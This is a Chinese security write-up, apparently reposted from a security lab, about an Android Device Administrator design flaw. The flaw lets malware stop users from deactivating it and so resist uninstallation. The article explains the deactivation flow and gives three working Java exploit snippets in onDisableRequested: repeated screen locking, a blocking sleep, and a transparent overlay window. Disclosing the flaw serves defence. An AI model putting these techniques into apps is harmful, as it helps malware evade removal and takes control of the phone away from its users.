生活随笔
收集整理的這篇文章主要介紹了
Android设备管理器漏洞2--阻止用户取消激活设备管理器
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
? ?2013年6月,俄羅斯安全廠商卡巴斯基發現了史上最強手機木馬-Obad.A,該木馬利用了一個未知的Android設備管理器漏洞(ANDROID-9067882),已激活設備管理器權限的手機木馬利用該漏洞,可以在設置程序的設備管理器列表中隱藏,這樣用戶就無法通過正常途徑取消該手機木馬的設備管理器權限,從而達到無法卸載的目的。Android4.2版本以上系統已經修復該漏洞。(漏洞詳情:http://blog.csdn.net/androidsecurity/article/details/9124747)
? ?日前,百度安全實驗室發現手機木馬開始利用另一新的Android設備管理器漏洞,新的設備管理器漏洞是由于Android系統在取消激活設備管理器流程的設計缺陷引起的,惡意軟件利用該設計缺陷,可以阻止用戶取消激活設備管理器,進而達到反卸載的目的。該漏洞存在于Android系統所有版本。
一、取消激活設備管理器源代碼分析
? ? ? Android取消激活設備管理器流程源代碼:
?
?
? ? ? Android取消激活設備管理器基本流程圖:
?
? ? ? ? 1、ActivityManagerNative.getDefault().stopAppSwitch()方法功能
? ? ? ? ? ? ?為什么第一步就調用該函數呢?通過源代碼注釋可以看出調用該函數目的是:禁止其它程序在用戶取消設備管理器操作過程彈出Dialog,影響用戶操作。
? ? ? ? stopAppSwitch()源代碼如下圖所示:
?
? ? ? ? ?通過代碼我們發現該方法的具體實現是:
? ? ? ? ? 規定在APP_SWITCH_DELAY_TIME時間內禁止進行Activity切換。該方法調用后,所有應用的Activity調用請求會被系統放到掛起的請求隊列中。被掛起的Activity調用請求會在APP_SWITCH_DELAY_TIME時間后才會被系統執行。
?
? ? ? ? 通過調用stopAppSwitch()方法,系統保證在進入取消設備管理器界面后,5秒內不會進行Activity的切換。
?
二、漏洞原理分析
? ? ? 通過以上流程我們發現,在第8步設備管理器調用
? ? ? DevicePolicyManagerService.removeActiveAdmin()取消激活設備管理器之前,DevicePolicyManagerService會調用應用的onDisableRequested方法獲取取消激活的警示信息。如果onDisableRequested函數返回內容為空的,第8步就會自動執行;如果onDisableRequested函數返回內容不能為空,會彈出Dialog顯示返回的警示信息,提示用戶是否取消激活。用戶點擊確認后才會執行第8步。
? ? ?如何阻止流程執行到第8步呢?
? ? ?onDisableRequested是唯一在流程第8步之前被調用的函數。為了阻止流程走到第8步,onDisableRequested函數滿足以下條件即可:
? ? 1、返回內容不能為空,這樣才可以使設備管理器彈出取消激活設備管理器警示信息??Dialog。
? ? 2、通過Activity切換的方式使設備管理器彈出的警示信息Dialog消失。使用戶無法操作Dialog。
? ? ?如果做到以上兩點,程序即可成功阻止用戶取消激活設備管理器操作。
?
三、漏洞利用方法
? ? ? 以下提出三種可以利用該流程設計缺陷,成功阻止用戶取消設備管理器的方法。
? ? ?1、通過鎖屏方式
??
[java]?view plaincopy
@Override??public?CharSequence?onDisableRequested(Context?context,?Intent?intent)?{????????????????Intent?intent1?=?context.getPackageManager().getLaunchIntentForPackage("com.android.settings");??????????intent1.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);??????context.startActivity(intent1);?????????final?DevicePolicyManager?dpm?=?(DevicePolicyManager)?context.getSystemService(Context.DEVICE_POLICY_SERVICE);?????????dpm.lockNow();?????????new?Thread(new?Runnable()?{????????????????????@Override??????????public?void?run()?{??????????????int?i?=?0;??????????????while(i<70){??????????????????dpm.lockNow();??????????????????try?{??????????????????????Thread.sleep(100);??????????????????????i++;??????????????????}?catch?(InterruptedException?e)?{??????????????????????e.printStackTrace();??????????????????}??????????????}??????????}??????}).start();??????return?"This?is?a?onDisableRequested?response?message";??}??
?
? ? ? 2、通過阻塞函數返回方式
?
[java]?view plaincopy
@Override??public?CharSequence?onDisableRequested(Context?context,?Intent?intent)?{????????????????Intent?intent1?=?context.getPackageManager().getLaunchIntentForPackage("com.android.settings");??????????intent1.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);??????context.startActivity(intent1);?????????try?{??????????Thread.sleep(7000);??????}?catch?(InterruptedException?e)?{??????????e.printStackTrace();??????}??????return?"This?is?a?onDisableRequested?response?message";??}??
? ? 3、通過透明窗口劫持方式
[java]?view plaincopy
@Override??public?CharSequence?onDisableRequested(Context?context,?Intent?intent)?{????????????????Intent?intent1?=?context.getPackageManager().getLaunchIntentForPackage("com.android.settings");??????????intent1.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);??????context.startActivity(intent1);??????WindowManager.LayoutParams?wmParams;??????final?WindowManager?mWindowManager;??????wmParams?=?new?WindowManager.LayoutParams();??????mWindowManager?=?(WindowManager)context.getSystemService(Context.WINDOW_SERVICE);??????wmParams.type?=?WindowManager.LayoutParams.TYPE_SYSTEM_ALERT;??????????wmParams.format?=?PixelFormat.RGBX_8888;??????????wmParams.flags?=?WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;???????????????wmParams.gravity?=?Gravity.LEFT?|?Gravity.TOP;?????????wmParams.alpha?=?0;?????????wmParams.x?=?0;?????????wmParams.y?=?0;?????????wmParams.width?=?WindowManager.LayoutParams.MATCH_PARENT;?????????wmParams.height?=?WindowManager.LayoutParams.MATCH_PARENT;?????????final?View?contentView?=?new?Button(context);?????????mWindowManager.addView(contentView,?wmParams);?????????new?Thread(new?Runnable()?{????????????????????@Override??????????public?void?run()?{??????????????try?{??????????????????Thread.sleep(7000);??????????????}?catch?(InterruptedException?e)?{????????????????????????????????????e.printStackTrace();??????????????}??????????????mWindowManager.removeView(contentView);??????????}??????}).start();??????return?"This?is?a?onDisableRequested?response?message";??}??
? ?以上方法都會在onDisableRequested中,采用不同方式使用戶在5秒時間內無法操作界面。因為5秒后Activity切換請求才會被系統執行。
總結
以上是生活随笔為你收集整理的Android设备管理器漏洞2--阻止用户取消激活设备管理器的全部內容,希望文章能夠幫你解決所遇到的問題。
如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。